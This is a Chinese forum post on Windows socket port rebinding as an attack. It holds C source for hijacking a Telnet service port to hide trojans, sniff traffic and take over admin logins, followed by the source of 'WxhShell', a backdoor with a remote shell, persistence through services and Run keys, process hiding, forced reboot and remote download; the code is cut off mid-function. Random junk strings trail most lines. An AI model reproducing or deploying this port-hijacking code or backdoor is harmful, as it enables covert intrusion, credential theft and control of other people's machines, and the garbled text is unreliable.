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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rQgRD)_%w  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Zn&S7a>7  
X]d["  
  saddr.sin_family = AF_INET; l%@>)%LA  
>(+g:p  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g@]G [(  
+4 U?*:n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T. nY>Q8  
xe5|pBT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !X721lNP  
Kj;gxYD>6  
  这意味着什么?意味着可以进行如下的攻击: HH/ bBM!  
A\J|eSG'$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xFcJyjo^z  
S;[g0j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KMZ:$H  
gE8p**LT+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VE{[52  
yZFm<_9>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [U[saR\  
#x Z7%    
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 'ms&ty*T  
3D>syf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 apQ` l^  
7A@GN A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0X =Yly*m@  
& xOEp  
  #include 1B+uv0lA  
  #include q]+'{Ci@  
  #include &x$1hx'  
  #include    @KRr$k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t>;u;XY!;  
  int main() >-fOkOWXy  
  { !_<zK:`-L  
  WORD wVersionRequested; Ig*68M<  
  DWORD ret; P}B{FIpNG  
  WSADATA wsaData; /-BKdkBCpZ  
  BOOL val; z45 7/zO  
  SOCKADDR_IN saddr; $,R QA^gxW  
  SOCKADDR_IN scaddr; 6rlafISvO  
  int err; h3y0bV[g=  
  SOCKET s; ?.66B9Lld  
  SOCKET sc; p%A s6.  
  int caddsize; |f+|OZY  
  HANDLE mt; Lk{ES$  
  DWORD tid;   ab4(?-'-  
  wVersionRequested = MAKEWORD( 2, 2 ); %:rct  
  err = WSAStartup( wVersionRequested, &wsaData ); YI!ecx%/4  
  if ( err != 0 ) { & yFS  
  printf("error!WSAStartup failed!\n"); '?Fw]z1$  
  return -1; K4938 v  
  } 8$</HNu,  
  saddr.sin_family = AF_INET; Z%_"-ENT  
   [>l 2E  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 QT X5F5w  
Bu4J8eLx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F&? &8.  
  saddr.sin_port = htons(23); =8BMCedH|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $S{B{FK  
  { }S84^2J_  
  printf("error!socket failed!\n"); 9Qja|;  
  return -1; CD|)TXy  
  } PMPB}-d  
  val = TRUE; [:Kl0m7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q; DN*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (dZu&  
  { % \OG#36  
  printf("error!setsockopt failed!\n"); }c/p+Wo  
  return -1; Uz(Sv:G  
  } wxw3t@%mNm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hxcRFqX"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9 -7.4!]I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 IK~'ke  
!bEy~.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a(>oQG8F  
  { 4t3Y/X  
  ret=GetLastError(); 0N02E  
  printf("error!bind failed!\n"); D|`O8o?)  
  return -1; nl v8HC  
  } Ubtu?wRBW  
  listen(s,2); r9:Cq  
  while(1) Th&-n%r9K  
  { 8%-+@ \=  
  caddsize = sizeof(scaddr); KI&+Zw4VL  
  //接受连接请求 SymBb}5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LU$aCw5 B;  
  if(sc!=INVALID_SOCKET) C4vmgl&  
  { dN'2;X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Jo%5NXts4  
  if(mt==NULL) .~J}80a/  
  { ""-#b^DQ  
  printf("Thread Creat Failed!\n"); @2H"8KX  
  break; a "*DJ&  
  } |8,|>EyqK  
  } J,@SSmJ`  
  CloseHandle(mt); tNsiokOm  
  } <\i}zoPO  
  closesocket(s); D vG9(Eh  
  WSACleanup(); C:Tjue{G2  
  return 0; )*!"6d)^  
  }   J=QuZwt  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~zdHJ8tYp  
  { $$my,:nH  
  SOCKET ss = (SOCKET)lpParam; <_X`D4g]XO  
  SOCKET sc; !V|%n(O"  
  unsigned char buf[4096]; v X=zqV  
  SOCKADDR_IN saddr; 5LJUD>f9 Z  
  long num; 4x8e~/  
  DWORD val; 1;O%8sp&  
  DWORD ret; /W4F(3oM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D|zlC,J,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X}XTEk3[  
  saddr.sin_family = AF_INET; |^ z?(?w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <G d?,}\  
  saddr.sin_port = htons(23); WO=X*O ne  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VKzY6  
  { }6Y D5?4  
  printf("error!socket failed!\n"); !nX}\lw  
  return -1; ci]IH]x  
  } 6$42 -a%b  
  val = 100; cL/ 6p0S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fb8"hO]s  
  { ?9jl8r>  
  ret = GetLastError(); `$V7AqX(  
  return -1; V4c$V]7  
  } cRt[{ HE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e+Qq a4  
  { Z' cQ< f  
  ret = GetLastError(); cY&SKV#  
  return -1; /{|<3CEe  
  } EvA{@g4>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bwH l}3  
  { G8Hj<3`  
  printf("error!socket connect failed!\n"); Q<TD5t9  
  closesocket(sc); y]1:IJL2;  
  closesocket(ss); hN(sz  
  return -1; d=?Kk4Ag  
  }  p1zT]  
  while(1) :wlX`YW+e  
  { *RM?SE6;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (wxdT6RVm\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `gI`Cq4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <Q-Y$ ^\  
  num = recv(ss,buf,4096,0); *{3&?pxx  
  if(num>0) hYm$Sx(=  
  send(sc,buf,num,0); %O9kq  
  else if(num==0) -N'xQ(#n3q  
  break; uU_0t;oR3  
  num = recv(sc,buf,4096,0); l| / tKW  
  if(num>0) y^M ~zOe  
  send(ss,buf,num,0); qs$%/  
  else if(num==0) xLUgbql-  
  break; jt({@;sU[<  
  } hXxgKi%  
  closesocket(ss); () l#}H`m  
  closesocket(sc); \>8r)xC  
  return 0 ; .#py5&`%  
  } MjGeH>c  
["5Z =4  
G@4ro<  
========================================================== {|Ew]Wq  
{Ac5(li_  
下边附上一个代码,,WXhSHELL @fDWp/  
ZS\ jbii8  
========================================================== :o!bz>T  
~ NO9s  
#include "stdafx.h" ]QB<N|ps  
(eTe`   
#include <stdio.h> mkJC *45  
#include <string.h> v%mAU3M  
#include <windows.h> ze%kP#c6!  
#include <winsock2.h> x3X^\ Ig  
#include <winsvc.h> RTHe#`t  
#include <urlmon.h> z(-j%?  
AOh\%|}  
#pragma comment (lib, "Ws2_32.lib") *} yOL [  
#pragma comment (lib, "urlmon.lib") :n1^Xw0q  
?Hb5<,1u3  
#define MAX_USER   100 // 最大客户端连接数 XYBvM]  
#define BUF_SOCK   200 // sock buffer jzRfD3_s  
#define KEY_BUFF   255 // 输入 buffer zF+NS]XK  
w Pk\dyP  
#define REBOOT     0   // 重启 Equj[yw%@  
#define SHUTDOWN   1   // 关机 6EHYIN^D  
<"Ox)XG3]W  
#define DEF_PORT   5000 // 监听端口 p i ;,?p-  
Idq &0<I  
#define REG_LEN     16   // 注册表键长度 BhO*Pfs  
#define SVC_LEN     80   // NT服务名长度 v]"W.<B,  
_?9|0>]xG  
// 从dll定义API m@|0iDS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;<aT| 4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zd2B4~V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mqy5>f)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OxGS{zs  
\S]"nHX  
// wxhshell配置信息 <=]wh|D  
struct WSCFG { 0nz=whS{  
  int ws_port;         // 监听端口 U"Gg ,  
  char ws_passstr[REG_LEN]; // 口令 =qQH,{]c6  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?CaMn b8  
  char ws_regname[REG_LEN]; // 注册表键名 Dd1\$RBo  
  char ws_svcname[REG_LEN]; // 服务名 i|- 6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'N-nFc^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i)vbmV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T d7f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;7Hse^Oc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Z0Tpz2m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m)5,ut/  
pN-l82]'  
}; !,;>)R   
W%3<"'eP  
// default Wxhshell configuration JG]67v{F  
struct WSCFG wscfg={DEF_PORT, 9VEx0mkdd  
    "xuhuanlingzhe", m7GM1[?r  
    1, P;A9t#\  
    "Wxhshell", X:aLed_{f  
    "Wxhshell", {_ &*"bK  
            "WxhShell Service", U Bo[iZ|%  
    "Wrsky Windows CmdShell Service", F\!Va  
    "Please Input Your Password: ", G5C=p:o{/  
  1, .7h:/d Y:  
  "http://www.wrsky.com/wxhshell.exe", 7Ya4>*B  
  "Wxhshell.exe" Ya%-/u  
    }; aFCma2  
@X_<y  
// 消息定义模块 8uj;RG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +#|| w9p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [?dsS$Y3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; COV8=E~  
char *msg_ws_ext="\n\rExit."; nnv&~C  
char *msg_ws_end="\n\rQuit."; k9V#=,K0  
char *msg_ws_boot="\n\rReboot..."; =) Aav!  
char *msg_ws_poff="\n\rShutdown..."; +3;`4bW  
char *msg_ws_down="\n\rSave to "; kOu C@~,  
\`FpBE_e)  
char *msg_ws_err="\n\rErr!"; KdBE[A-1^M  
char *msg_ws_ok="\n\rOK!"; EWcqMD]4u  
x] e &G!|  
char ExeFile[MAX_PATH]; )SX2%&N  
int nUser = 0; @-L4<=$J  
HANDLE handles[MAX_USER]; 7GY3 _`  
int OsIsNt; Ne 2tfiI`  
Thlqe?  
SERVICE_STATUS       serviceStatus; N ,8^AUJ3&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _LVi}mM  
rc_K|Df  
// 函数声明 ?h7,q*rxk  
int Install(void); X&s@S5=r]  
int Uninstall(void); dX720/R  
int DownloadFile(char *sURL, SOCKET wsh); y4j J&  
int Boot(int flag); RM5$O+"  
void HideProc(void); IB'gY0*  
int GetOsVer(void); |a>W9Ym  
int Wxhshell(SOCKET wsl); +7`7cOqXg  
void TalkWithClient(void *cs); O]| T !  
int CmdShell(SOCKET sock); _m;H$N~I#  
int StartFromService(void); jcC "S qL  
int StartWxhshell(LPSTR lpCmdLine); uR;m<wPH,f  
d*M:P jG@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C(4r>TNm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /t4#-vz  
T@Q,1^?i  
// 数据结构和表定义 vs*Q {  
SERVICE_TABLE_ENTRY DispatchTable[] = ##_`)/t,  
{ 1N3qMm^  
{wscfg.ws_svcname, NTServiceMain}, h$[tEmD%  
{NULL, NULL} ]J] ~i[  
}; \dB)G<_  
,V>7eQt?  
// 自我安装 2r =8&~9z  
int Install(void) \$Jz26 -n  
{ ./Y5Vk#Rp\  
  char svExeFile[MAX_PATH]; P+9%(S)L3  
  HKEY key; i]8+JG6  
  strcpy(svExeFile,ExeFile); y3^>a5z!x  
acPX2B[jJ  
// 如果是win9x系统,修改注册表设为自启动 v` G[6Z  
if(!OsIsNt) { r+yl{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wjRv =[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E1"H( m&6  
  RegCloseKey(key); Xb/W[rcs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R&!{3!V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ::&hfHR*P  
  RegCloseKey(key); w1N-`S:  
  return 0; (8XP7c]5  
    } rQrh(~\:  
  } @v:p)|Ne;  
} (E*pM$  
else { /x2MW5H  
xDsB%~  
// 如果是NT以上系统,安装为系统服务 A;ti$jy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M%aA1!@/  
if (schSCManager!=0) f@)GiLC'"  
{ 3|Vh[iAa\  
  SC_HANDLE schService = CreateService v\#1&</qd^  
  ( mO?yrM *  
  schSCManager, saPg2N,  
  wscfg.ws_svcname,  f^vz  
  wscfg.ws_svcdisp, @i9eH8lT  
  SERVICE_ALL_ACCESS, 8-"lK7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  1OwVb  
  SERVICE_AUTO_START, #P^cR_|\  
  SERVICE_ERROR_NORMAL, ~HM,@5dFC  
  svExeFile, 6u6,9VG,  
  NULL, J+]W*?m  
  NULL, GcHy`bQbiX  
  NULL, 5 `Mos  
  NULL, ]ssX,1#Xh  
  NULL +~Lt;xNFk  
  ); T\"eqa  
  if (schService!=0) an<loL W  
  { $bho]~  
  CloseServiceHandle(schService); "m'roU  
  CloseServiceHandle(schSCManager); &% infPI'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #[<XN s!"  
  strcat(svExeFile,wscfg.ws_svcname); :wcv,YoSG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /,`40^U}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C5ia9LpRX  
  RegCloseKey(key); :Qekv(z  
  return 0; !^h{7NmP[  
    } ww^!|VVa  
  } &>KZ4%&?  
  CloseServiceHandle(schSCManager); 0Xe?{!@a  
} :tTP3 t5  
} =]Vrl-a`^  
$HE ?B{  
return 1; ~d)2>A 2:  
} @qaK5  
vf&Sk`  
// 自我卸载 P&2/J%@zG  
int Uninstall(void) (vXes.|+t  
{ 4Ww.CkRG  
  HKEY key; j3kcNb  
4w)aAXK  
if(!OsIsNt) { :OFL@byS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wgV?1S>Z  
  RegDeleteValue(key,wscfg.ws_regname); >oOZDuj   
  RegCloseKey(key); !#' y#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IFd2r;W8  
  RegDeleteValue(key,wscfg.ws_regname); F2bAo6~R  
  RegCloseKey(key); &i8UPp%  
  return 0; 'U %L\v,  
  } Scfk] DT  
} 6Y 4I $[  
} rT}k[  
else { @x4IxGlUs  
Obl,Qa:5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5Y}=,v*h}  
if (schSCManager!=0) ZR"BxE0_k  
{ 5j S8{d0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |OVD*A  
  if (schService!=0) +|OrV'  
  { 9yA? 82)E  
  if(DeleteService(schService)!=0) { "A0J~YvYWJ  
  CloseServiceHandle(schService); 8<w8"B.i  
  CloseServiceHandle(schSCManager); A@HCd&h  
  return 0; ]"DsZI-glW  
  } ]|#%`p56  
  CloseServiceHandle(schService); FfET 45"l  
  } 5N'Z"C0  
  CloseServiceHandle(schSCManager); dh.vZ0v=7  
} ~UhTy~jya  
} no`>r}C  
}@'Zt6+tS  
return 1; 99]&Xj  
} 9bVPMq7}i  
U$+G9  
// 从指定url下载文件 Jd0I!L  
int DownloadFile(char *sURL, SOCKET wsh) MRn;D|Q  
{ D3MRRv#  
  HRESULT hr; }0(.HMiGj  
char seps[]= "/"; h,u?3}Knnb  
char *token; tc2e)WZP  
char *file; N*CcJp{Q  
char myURL[MAX_PATH]; lgL|[ik`  
char myFILE[MAX_PATH]; nYF;.k  
)vcyoq  
strcpy(myURL,sURL); tI-u@ g  
  token=strtok(myURL,seps); re-;s  
  while(token!=NULL) ^vQ,t*Uj=  
  { }1)tALA  
    file=token; *>%tx k:)  
  token=strtok(NULL,seps); ='"hB~[  
  } hDsSOpj  
6_#:LFke  
GetCurrentDirectory(MAX_PATH,myFILE); OU /=wpt  
strcat(myFILE, "\\"); k:JlC(^h  
strcat(myFILE, file); cIJqF.k  
  send(wsh,myFILE,strlen(myFILE),0); 9R6]OL)p  
send(wsh,"...",3,0); y~ZYI]` J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "N\tR[P!  
  if(hr==S_OK) o(5eb;"yi>  
return 0; %l.5c Sn@  
else Vw~st1",[  
return 1; wm<`0}  
/ ~\ I  
} m+7/ebj{A  
>#[u"CB  
// 系统电源模块 c@xQ2&i  
int Boot(int flag) g AZe&"K  
{ j4fv-{=$  
  HANDLE hToken; Dno'-{-  
  TOKEN_PRIVILEGES tkp; `uN}mC!r]  
#@cOyxUt  
  if(OsIsNt) { HL*Fs /W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /`b(} m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dhAkD-Lh  
    tkp.PrivilegeCount = 1; -{tB&V~+v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rbEUq.Yk]~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >Y\$9W=t  
if(flag==REBOOT) { 1m5 =Nu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #F~^m  
  return 0; ~g_]Sskf7  
} x%WL!Lo  
else { \j$q';9p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p!wx10b  
  return 0; C72!::o  
} EG|fGkv"  
  } `BA,_N|6  
  else { N;A#K 7A[@  
if(flag==REBOOT) { 5,,b>Z<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F ^mMyK  
  return 0; * t-Wol  
} 2 u{"R  
else { [!k#au+#c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4-wCk=I  
  return 0; {}W9m)I  
} U~)i&":sN  
} \~O}V~wE  
XC D&Im  
return 1; -hpJL\ng  
} P`$"B0B)  
yL#bZ9W }  
// win9x进程隐藏模块 JTw3uM, e  
void HideProc(void) hA0g'X2eC  
{ g+xA0qW  
06dk K )`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); > kLUQ%zE@  
  if ( hKernel != NULL ) "{&?t}rj+  
  { u0M? l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GF3"$?Cw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !|1GraiS  
    FreeLibrary(hKernel); g3`:d)|  
  } 4.^1D';(  
D@]*{WO  
return; iO 9fg  
} fF"\$Ny  
<A_LZi  
// 获取操作系统版本 $<~o,e-4  
int GetOsVer(void) oOU?6nq  
{ fF\s5f#:  
  OSVERSIONINFO winfo; {);S6F$[3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %~`y82r6  
  GetVersionEx(&winfo); >C1**GQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zh<[ /'l  
  return 1; eVVm"96Q.;  
  else xXJl Qbs  
  return 0; PZDj)x_%B&  
} S5W*,?  
'|9fDzW"]  
// 客户端句柄模块 rerl-T<3  
int Wxhshell(SOCKET wsl) (q@DBb4  
{ )G a%Eg9  
  SOCKET wsh; _Kw<4 $0<p  
  struct sockaddr_in client; B}(+\Q$I  
  DWORD myID; [YsN c  
2[#7YWs  
  while(nUser<MAX_USER) C XZO  
{ |?tUUT!`t  
  int nSize=sizeof(client); 2GHmA_7P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '}Tf9L%  
  if(wsh==INVALID_SOCKET) return 1; POl[]ni=>  
$Eo)i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "K7{y4  
if(handles[nUser]==0) 4]VoIUIuN  
  closesocket(wsh); mo$`a6[h<  
else |BO!q9633V  
  nUser++; ]4$t'wI.  
  } ?0U.1N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?0{8fGM4  
KXAh0A?&+  
  return 0; RwG@C|sG  
} h{R>L s  
[|XMR=\>  
// 关闭 socket ?_!} lg  
void CloseIt(SOCKET wsh) ;Tn$c70  
{ "-pQL )f  
closesocket(wsh); 4t%g:9]vr  
nUser--; g^V4+3v|a'  
ExitThread(0); rr@S|k:|  
} ~ .FZF  
'mH9 O  
// 客户端请求句柄 h7}D//~p  
void TalkWithClient(void *cs) aBH!K   
{ &at^~ o  
jlf.~ vt  
  SOCKET wsh=(SOCKET)cs; xUiSAKrcM  
  char pwd[SVC_LEN]; 4490l"  
  char cmd[KEY_BUFF]; :#?Z)oQpT  
char chr[1]; z/B[quSio  
int i,j; Y6>@zznk  
w;LIP!T#  
  while (nUser < MAX_USER) { 'T8(md299  
kb27$4mm  
if(wscfg.ws_passstr) { $rb #k{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?8g*"& cn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :U,n[.$5'  
  //ZeroMemory(pwd,KEY_BUFF); )&Bf%1>  
      i=0; oi@/H\7j  
  while(i<SVC_LEN) { j J}3WJ  
rW.o_z03^  
  // 设置超时 :{(` ;fJ  
  fd_set FdRead; +zU[rhMk'  
  struct timeval TimeOut; th$?#4SbR  
  FD_ZERO(&FdRead); (iwZs:k-  
  FD_SET(wsh,&FdRead); baD`k?](  
  TimeOut.tv_sec=8; l(o#N'!j4  
  TimeOut.tv_usec=0; 7 )2Co[t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _I"T(2Au  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n#{z"G  
Qx B0I/ {  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |wnXBKV(  
  pwd=chr[0]; )} I>"n  
  if(chr[0]==0xd || chr[0]==0xa) { $IM}d"/9  
  pwd=0; P6n9yJ$,cb  
  break; 0gR!W3dh  
  } D*Cn!v$  
  i++; 7Vn;LW  
    } 'zEmg}  
 !e+^}s  
  // 如果是非法用户,关闭 socket X ^ ?M4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r#% e$  
} dB{VY+!  
7S +YQ$_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tAI<[M@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D7 D:?VoR  
W^es"\  
while(1) { 5uVSbo.  
7K 8tz}  
  ZeroMemory(cmd,KEY_BUFF); "sM 3NY  
*J ]2"~_.  
      // 自动支持客户端 telnet标准   Ju0W  
  j=0; F8c^M</  
  while(j<KEY_BUFF) { =B+^-2G8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F%Xj'=  
  cmd[j]=chr[0]; -<Wv7FNpD  
  if(chr[0]==0xa || chr[0]==0xd) { Y-0o>:SM  
  cmd[j]=0; ]vFtByqn  
  break; &jg..R  
  } =i`#0i2(  
  j++; 'b?Px}  
    } (M>[D!Yt  
B 66-l!xa  
  // 下载文件 -f{NVX\<0  
  if(strstr(cmd,"http://")) { ~ AU!Gm.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }i)^?@  
  if(DownloadFile(cmd,wsh)) %yVboA1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h#Z5vH  
  else .L#xX1qr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l8$7N=Y  
  } bv%A;  
  else { %,Pwo{SH  
ySS kw7  
    switch(cmd[0]) { uxxS."~  
  9d\B*OU  
  // 帮助 U2lDTRt  
  case '?': { Vb _W&Nwd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l"C)Ia&/  
    break; m(B,a,g<  
  } */T.]^  
  // 安装 L\CufAN  
  case 'i': { /^m3?q[a  
    if(Install()) _o'3v=5T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yV'<l .N  
    else hC nqe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lZt{L0  
    break; Y$@?Y/rhR  
    } 2[O\"a%  
  // 卸载 &s+F+8"P+  
  case 'r': { +2ZBj6 e9  
    if(Uninstall()) 7QOQG:-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fsA-}Qc  
    else f|U J%}$v;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @CxXkR  
    break; e5 "?ol0  
    } ^Hdru]A$2  
  // 显示 wxhshell 所在路径 &fIx2ZM[  
  case 'p': { Ah_T tj  
    char svExeFile[MAX_PATH]; -C>q,mDJZ  
    strcpy(svExeFile,"\n\r"); )\!-n]+A  
      strcat(svExeFile,ExeFile); y [pU8QSt  
        send(wsh,svExeFile,strlen(svExeFile),0); S7I8BS[*v  
    break; ,X&(BQj h  
    } snl$v  
  // 重启 %Ob#GA+  
  case 'b': { MPn 6sf9M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $69ef[b  
    if(Boot(REBOOT)) |?kZfr&9q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); miq"3  
    else { gvoo1 Sa  
    closesocket(wsh); ;&A%"8o  
    ExitThread(0); kOQq+_Y  
    } "F$0NYb]I  
    break; WgV'T#*  
    } zRz7*o&l  
  // 关机 .3tyNjsn\  
  case 'd': { T##_?=22I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 09r0Rb  
